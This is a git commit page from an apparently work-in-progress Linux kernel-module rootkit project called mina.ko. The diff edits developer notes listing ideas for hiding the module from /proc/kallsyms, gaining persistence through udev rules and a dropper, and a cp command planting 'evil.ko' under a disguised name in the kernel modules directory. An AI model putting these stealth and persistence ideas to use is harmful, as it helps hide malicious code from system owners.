mina.ko

~ (wip)LKM rootkit for 6.1+ kernels

git clone https://github.com/djnnvx/mina.ko.git

commit 94a561b9a43c444ee75f035d46e0f7f7a1fe4ccd
parent 628f17d2a2c12d5378c8dc631199f19fed3d4361
Author: djnn <[email protected]>
Date: Mon, 20 Jan 2025 19:10:02 +0900

feat(meta): updating project notes

Diffstat:

rootkit/sources/mina.c

+++---------

1 file changed, 3 insertions(+), 9 deletions(-)

diff --git a/rootkit/sources/mina.c b/rootkit/sources/mina.c
@@ -13,21 +13,15 @@
 
 /* NOTE(djnn):
 
-Some notes and features ideas for dev next step:
-
-1. hook getdents_t and getdents64_t in order to hide directories with a particular
-directory name, OR /sys/modules/THIS-MODULE
-    => this means we need to recover the module's name at runtime, eventually
-
-2. LKM can also be found in /proc/kallsyms.....maybe we need to find its offset &
+1. LKM can also be found in /proc/kallsyms.....maybe we need to find its offset &
 mangle the bytes?
 
-3. writing the rootkit as a loadable char device would allow it to be registered
+2. writing the rootkit as a loadable char device would allow it to be registered
 in `/dev` and then use udev rules for persistence by the dropper.
 We could also hook a launch script of another device node to insert
 our LKM into the kernel.....
 
-4.  put your module in `/usr/lib/modules` so that it is loaded like so:
+3.  put your module in `/usr/lib/modules` so that it is loaded like so:
 
 ```bash
 cp evil.ko /usr/lib/modules/$(uname -r)/kernel/drivers/block/magicstring-evil.ko